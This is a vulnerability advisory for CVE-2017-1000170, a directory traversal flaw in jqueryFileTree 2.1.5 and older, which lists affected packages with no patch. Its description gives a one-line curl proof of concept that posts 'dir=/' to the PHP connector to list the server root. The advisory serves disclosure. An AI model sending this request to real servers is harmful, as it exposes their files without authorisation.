jqueryFileTree vulnerable to Directory Traversal

ALTO 7.5CVE-2017-1000170 · GHSA-p739-9479-5wr2 · Published 17/11/2017 · updated 17/06/2026

Package	Affected versions	Patched versions
jqueryfiletree jqueryfiletree_project	`≤ 2.1.5`	No fix yet
jqueryfiletree npm	`≤ 2.1.5`	No fix yet

Description

jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal

curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/"

NVD description

jqueryFileTree 2.1.5 and older Directory Traversal

Running one of these products? Scan your site to see whether it exposes a vulnerable version.